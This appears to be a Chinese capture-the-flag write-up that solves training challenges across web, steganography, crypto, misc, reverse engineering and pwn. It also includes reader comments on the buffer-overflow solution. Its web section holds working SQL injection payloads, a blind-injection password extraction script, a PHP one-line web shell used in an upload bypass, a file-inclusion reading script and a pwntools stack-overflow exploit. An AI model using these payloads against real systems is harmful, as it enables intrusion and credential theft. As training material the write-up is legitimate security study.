WEB
WEB 部分。
签到题
查看源码
md5 collision
借用 PHP 的 ==
弱类型,PHP 中的 == 和“隐式转换”
签到 2
绕过源码中的 maxlength=10
,抓包改包。
这题不是 WEB
下载那个 GIF,文件末尾有 flag,这显然是 MISC 好么。。。
层层递进
这题有点坑,一直查看源码,一步步走到 http://chinalover.sinaapp.com/web3/404.html
。
<!-- Placed at the end of the document so the pages load faster -->
<!--
<script src="./js/jquery-n.7.2.min.js"></script>
<script src="./js/jquery-c.7.2.min.js"></script>
<script src="./js/jquery-t.7.2.min.js"></script>
<script src="./js/jquery-f.7.2.min.js"></script>
<script src="./js/jquery-{.7.2.min.js"></script>
<script src="./js/jquery-t.7.2.min.js"></script>
<script src="./js/jquery-h.7.2.min.js"></script>
<script src="./js/jquery-i.7.2.min.js"></script>
<script src="./js/jquery-s.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-i.7.2.min.js"></script>
<script src="./js/jquery-s.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-a.7.2.min.js"></script>
<script src="./js/jquery-_.7.2.min.js"></script>
<script src="./js/jquery-f.7.2.min.js"></script>
<script src="./js/jquery-l.7.2.min.js"></script>
<script src="./js/jquery-4.7.2.min.js"></script>
<script src="./js/jquery-g.7.2.min.js"></script>
<script src="./js/jquery-}.7.2.min.js"></script>
-->
手打一下 flag 吧。
AAencode
奇怪的 JS 加密,放到控制台里跑一下。
单身二十年
抓包,注意跳转。
你从哪里来
改 Referer。
php decode
eval
改成 echo
好了,放到一个在线测试环境里跑一下。
单身一百年也没用
继续抓包。
Download~
查看源码,下载的参数用 base64 加密了,改一下就好。
Cookie
改一下 cookie。
MySQL
提示 robots.txt
,看到一段源码,显然是弱类型了,1024.1 可破。
SQL Injection 3
宽字节注入。注意这里的 union
必须前后字段数相同。
// 查询数据库
// information_schema, sqli1, test
?id=2%df%27 union select 1,schema_name from information_schema.schemata%23
// sqli1 中数据表
// flag, news
?id=2%df%27 union select 1,table_name from information_schema.tables where table_schema=database()%23
// flag 表中字段
// flag
?id=2%df%27 union select 1,table_name from information_schema.columns where table_name=0x666c6167 and table_schema=database()%23
// dump 数据
?id=2%df%27 union select *,2 from flag%23
搞不懂为什么最后要把 *
放在前面。。。
/x00
00 截断即可,好像也可以用数组。
bypass again
利用数组的 md5 值绕过,a[]=1&b[]=2
。
变量覆盖
extract()
函数变量覆盖。
PHP 是世界上最好的语言
URL 编码两次即可,因为参数传入 PHP 文件时已经 URL解码过一次了。
伪装者
X-Forwarded-For
Header
flag 在请求头里。
上传绕过
只允许上传 jpg, gif, png 后缀,改后缀又说必须上传 php 后缀。
------WebKitFormBoundarybgib44bAteZlTwoM
Content-Disposition: form-data; name="dir"
/uploads/
------WebKitFormBoundarybgib44bAteZlTwoM
Content-Disposition: form-data; name="file"; filename="ones.jpg"
Content-Type: application/octet-stream
<?php @eval($_POST['a']);?>
------WebKitFormBoundarybgib44bAteZlTwoM
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundarybgib44bAteZlTwoM--
说明和文件内容没什么关系,有关的只有 filename
和 dir
两个地方了。
最终的路径是拼接了 dir
和 filename
的,那么我们在 dir
处 00 截断为 .php
即可绕过。
SQL 注入 1
用 #
注释掉之后的语句,注意闭合括号。
pass check
根据 tip,传一个 pass[]=1
进去。
起名字真难
用十六进制绕过。
密码重置
user1
的参数改成 admin
的加密值,再重置。
PHP 反序列化
需要让 secret
和 enter
相等,用取地址的方法。
<?php
class just4fun {
var $enter;
var $secret;
}
$o = new just4fun();
$o->enter = &$o->secret;
echo serialize($o);
?>
生成 payload。
SQL Injection 4
用反斜杠转义引号。php4fun 的题目。
综合题
一大串 jsfuck,执行以下得到1bc29b36f623ba82aaf6724fd3b16718.php
。
这个页面的响应头里有 tip:history of bash
,那么就是 .bash_history
了。
访问得到 zip -r flagbak.zip ./*
,可以下载到 flagbak.zip
,里面有 flag。
SQL 注入 2
利用 union select
一个已知密码的 md5 值来绕过。
user=1' union select md5(1)%23&pass=1
综合题 2
题目说不是一个 XSS 题,有一个留言板,带参数查询,可能有注入,查看首页源码,看到一个文件包含的地方 http://cms.nuptzj.cn/about.php?file=sm.txt
,点开是一个类似安装说明的东西,有一段数据库创建语句。
create table admin (
id integer,
username text,
userpass text,
)
还有一些敏感文件。
config.php:存放数据库信息,移植此CMS时要修改
index.php:主页文件
passencode.php:Funny公司自写密码加密算法库
say.php:用于接收和处理用户留言请求
sm.txt:本CMS的说明文档
那就先读一下这几个文件吧,直接包含格式不好,用一下 php://filter
。
# coding=utf-8
import requests
def base642f(file):
with open(file, 'w') as f:
url = 'http://cms.nuptzj.cn/about.php?file=php://filter/convert.base64-encode/resource=%s' % file
content = requests.get(url).text
if u'参数不能为空!' not in content:
f.write(content.split('\n')[1].decode('base64'))
else:
return 'cannot get it.'
files = ('index.php', 'sm.txt', 'say.php', 'passencode.php', 'so.php', 'antiinject.php', 'antixss.php', 'about.php')
map(base642f, files)
config.php
读不出来,其他几个文件里又 include
进去了 antixss.php
,antiinject.php
等文件,都读出来。
antiinject.php
内容:
<?php
function antiinject($content){
$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
$info=strtolower($content);
for($i=0;$i<=count($keyword);$i++){
$info=str_replace($keyword[$i], '',$info);
}
return $info;
}
?>
只是简单的替换,双写绕过就好了。
index.php
中的表单被发送到了 so.php
,读一下内容。
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>搜索留言</title>
</head>
<body>
<center>
<div id="say" name="say" align="left" style="width:1024px">
<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br /> '.antixss($rs['say']).'<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>
</div>
</center>
</body>
</html>
这里要改一下 UA,sqlmap 改一下 nonrecursivereplacement.py
,把过滤的几个词都加进去。
sqlmap -u "http://cms.nuptzj.cn/so.php" --data="soid=1" --user-agent="Xlcteam Browser" --tamper="nonrecursivereplacement,space2comment" --dbms=mysql
然而尴尬的只能跑出来数据库名 sae-exploitblog
,没什么用。。。还是得手工。这就用到了刚开始的那个 sql 语句了,表名 admin
,列名 username, userpass
。
soid=1/**/anANDd/**/exists(seleSELECTct/**/coCOUNTunt(*)/**/frFROMom/**/admiADMINn/**/limit/**/0,1)
# 有回显
soid=1/**/anANDd/**/exists(seleSELECTct/**/coCOUNTunt(*)/**/frFROMom/**/admiADMINn/**/limit/**/1,1)
# 无回显
说明该表中只有一条记录。
soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(usernaNAMEme)>4)
# 有回显
soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(usernaNAMEme)>5)
# 无回显
说明用户名长度 5 位,那应该就是 admin
了,试下前两位。
soid=1/**/anANDd/**/exists(selecSELECTt/**/*/**/froFROMm/**/admiADMINn/**/where/**/ascii(mid(usernamNAMEe,1,1))>96)
# 96 有回显,97 无回显,第一位 a
soid=1/**/anANDd/**/exists(selecSELECTt/**/*/**/froFROMm/**/admiADMINn/**/where/**/ascii(mid(usernamNAMEe,2,1))>99)
# 99 有回显,100 无回显,第二位 d
很明显就是 admin
了。
soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(userpaPASSss)>33)
# 有回显
soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(userpaPASSss)>34)
# 无回显
说明密码长度 34 位,之前还读到一个 passencode.php
文件。
<?php
function passencode($content){
//$pass=urlencode($content);
$array=str_split($content);
$pass="";
for($i=0;$i<count($array);$i++){
if($pass!=""){
$pass=$pass." ".(string)ord($array[$i]);
}else{
$pass=(string)ord($array[$i]);
}
}
return $pass;
}
?>
密文存储了密码的 ASCII 码,那么就是纯数字了,写个脚本跑一下。
# coding=utf-8
import requests
import string
urlmain = 'http://cms.nuptzj.cn/so.php'
headers = {
'User-Agent': 'Xlcteam Browser',
'Host': 'cms.nuptzj.cn',
}
payloads = string.digits
password = ''
for i in range(1, 35):
for j in payloads:
payload = ('1/**/anANDd/**/exists(selecSELECTt/**/*/**/froFROMm/**/admiADMINn/**/where'
'/**/ascii(mid(userpasPASSs,%s,1))>%s)' % (i, ord(j)))
data = {
'soid': payload
}
response = requests.post(url=urlmain, headers=headers, data=data)
if len(response.content) < 430:
password += j
print '[*] Fetching password: ' + password
break
得到密文 1020117099010701140117011001160117
,解码得 fuckruntu
。
拿到了用户名密码,找一下后台吧。在 about.php
中,有这样的字符串。
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
$file=$_GET['file'];
if($file=="" || strstr($file,'config.php')){
echo "file参数不能为空!";
exit();
}else{
$cut=strchr($file,"loginxlcteam");
if($cut==false){
$data=file_get_contents($file);
$date=htmlspecialchars($data);
echo $date;
}else{
echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
}
}
得到后台 http://cms.nuptzj.cn/loginxlcteam/
。
因为程序猿连后台都懒得开发了,为了方便管理,他邪恶地放了一个一句话木马在网站的根目录下
小马的文件名为:xlcteam.php
再用之前的文件包含读这个小马。
<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?>
这后门奇奇怪怪的,搜一下发现了一篇文章。
尴尬的是不知道怎么连菜刀。。。试了半天,地址里写 http://cms.nuptzj.cn/xlcteam.php?www=preg_replace
,密码写 wtf
。
网站根目录下有一个 恭喜你获得flag2.txt
,搞定。
注入实战 1
那个站好像已经改版了。。。
密码重置 2
TIPS:
1.管理员邮箱观察一下就可以找到
2.linux下一般使用vi编辑器,并且异常退出会留下备份文件
3.弱类型bypass
一上来就有 3 个 HINT,邮箱查看源码可以看到,备份文件常见的有 .php.swp, .php.swo, .php~
等,多试试,这题有 .submit.php.swp
。
........这一行是省略的代码........
/*
如果登录邮箱地址不是管理员则 die()
数据库结构
--
-- 表的结构 `user`
--
CREATE TABLE IF NOT EXISTS `user` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) NOT NULL,
`email` varchar(255) NOT NULL,
`token` int(255) NOT NULL DEFAULT '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
--
-- 转存表中的数据 `user`
--
INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可见***', '***不可见***', 0);
*/
........这一行是省略的代码........
if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "失败了呀";
}
}
token
长度为 10,且 token = '0'
,构造一个 token=0000000000
应该可以了。
隐写
MISC 部分。
女神
图片最后有 flag。
图种
foremost
可以提取出一个 zip 文件,里面还有一张 GIF。
丘比龙的女神
binwalk
看一下,有一个 zip 文件结尾,但没有文件头,可能是被破坏了一下,在文件最后看到一个 nvshen.jpg
,应该是压缩里的文件,D8E2
处有一个 nvshen.jpg
,自己搞一个压缩包看下文件头到文件名的偏移,可以算出 D8C4
处就是文件头,抠出来修复一下文件头(可以用 WinRAR),拿到压缩包。
密码学
Crypto 部分。
easy!
base64
KeyBoard
看字母在键盘上画出的图案,但是我提交都不对。。。
base64 全家桶
base64 解完 32,再16。
n 次 base64
一直解。
骚年来一发吗
照着写一个解密函数。
<?php
function encode($str)
{
$_o = strrev($str);
for ($_0=0; $_0 < strlen($_o); $_0++) {
$_c = substr($_o, $_0, 1);
$__ = ord($_c) + 1;
$_c = chr($__);
$_ = $_ . $_c;
}
return str_rot13(strrev(base64_encode($_)));
}
function decode($str)
{
$_d = base64_decode(strrev(str_rot13($str)));
for ($_0=0; $_0 < strlen($_d); $_0++) {
$_c = substr($_d, $_0, 1);
$__ = ord($_c) - 1;
$_c = chr($__);
$_ = $_ . $_c;
}
return strrev($_);
}
$string = 'iEJqak3pjIaZ0NzLiITLwWTqzqGAtW2oyOTq1A3pzqas';
echo decode($string);
?>
mixed_base64
随机的加密,写个脚本跑一下。
# coding=utf-8
from base64 import *
with open('code.txt', 'r') as f:
cipher = f.read()
tmp = cipher
count = 10
while count:
count -= 1
try:
tmp = b64decode(cipher)
if tmp.decode('utf-8') == tmp:
cipher = tmp
except Exception as e:
# print e
try:
tmp = b32decode(cipher)
if tmp.decode('utf-8') == tmp:
cipher = tmp
except Exception as e:
# print e
try:
tmp = b16decode(cipher)
if tmp.decode('utf-8') == tmp:
cipher = tmp
except Exception as e:
print e
print tmp
注意有时候即使不是用该方法加密,依然可以解密,但是是乱码,这里再判断下编码是否正常以排除这类状况。
异性相吸
根据提示是异或加密。
# coding=utf-8
import re
with open(unicode('密文.txt', 'utf-8'), 'r') as f:
cipher = f.read()
with open(unicode('明文.txt', 'utf-8'), 'r') as f:
plaintext = f.read()
hex_cipher = re.findall('.{2}', cipher.encode('hex'))
hex_plaintext = re.findall('.{2}', plaintext.encode('hex'))
flag = []
for i in range(len(hex_cipher)):
flag.append(chr(int(hex_cipher[i], 16) ^ int(hex_plaintext[i], 16)))
print ''.join(flag)
md5
爆破一下。
# coding=utf-8
import hashlib
import re
s1 = 'TASC'
s2 = 'O3RJMV'
s3 = 'WDJKX'
s4 = 'ZM'
word = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
with open('md5.txt', 'w') as f:
for i in word:
for j in word:
for k in word:
s = s1 + i + s2 + j + s3 + k + s4
m = hashlib.md5()
m.update(s)
m2 = m.hexdigest()
if re.match(r'e9032[0-9a-f]{3}da[0-9a-f]{3}08[0-9a-f]{4}911513[0-9a-f]0[0-9a-f]{3}a2', m2):
print m2
Vigenere
不太会,还在做。
MISC
难道隐写不是 MISC,诡异的分类。
easy wireshark
tcp stream 12 里有个 flag.php。
wireshark 2
看到一个 secret.txt
,提取内容。
the password for zip file is : ZipYourMouth
还看到一个 flag.zip,搞了半天发现不对,直接全局搜 flag 字符,发现在一个地方还有一个 zip 文件头,把这个抠出来,修复一下,用密码解压。
RE
逆向部分。
Hello RE
IDA 打开,F5,看到一串字符。
手动拼一下。
ReadASM 2
读汇编。。。好难。
PWN
PWN 爸爸。
When Did You Born
#include <stdio.h>
struct Student {
char name[8];
int birth;
};
int main(void) {
struct Student student;
printf("What\'s Your Birth?\n");
scanf("%d", &student.birth);
while (getchar() != '\n') ;
if (student.birth == 1926) {
printf("You Cannot Born In 1926!\n");
return 0;
}
printf("What\'s Your Name?\n");
gets(student.name);
printf("You Are Born In %d\n", student.birth);
if (student.birth == 1926) {
printf("You Shall Have Flag.\n");
system("cat flag");
} else {
printf("You Are Naive.\n");
printf("You Speed One Second Here.\n");
}
return 0;
}
给了源码,这就简单多了,name
是 8 个字节,用 gets
读入,显然是可以栈溢出的。
from pwn import *
HOST = '115.28.79.166'
PORT = 5555
BUFFER = 4096
p = remote(HOST, PORT)
print p.recvuntil('?')
p.sendline('1')
print p.recvuntil('?')
p.sendline('s'*8+p64(0x0786))
print p.recv(BUFFER)
print p.recv(BUFFER)
print p.recv(BUFFER)
你好,关于最后一道缓冲区溢出的题,我有一个问题。1926 的 int32 是 0x00 00 07 86,追加到 's'*8 之后 不就变成了 0x73 ... 73 00 00 07 86 了么?其中 0x00 不会被 gets 函数当做 \0 对待么?如果是这样的话,应该碰不到 student.birth 吧?刚接触 CTF 并不是很懂这方面,希望能得到解答。十分感谢!
我又想了一下,是不是端序的问题? 如果是小端的话,1926 其实被 encode 成了 0x86 07 00 00。这样就能修改低16位,而高位已经被 p.sendline('1') 设置为 0 了?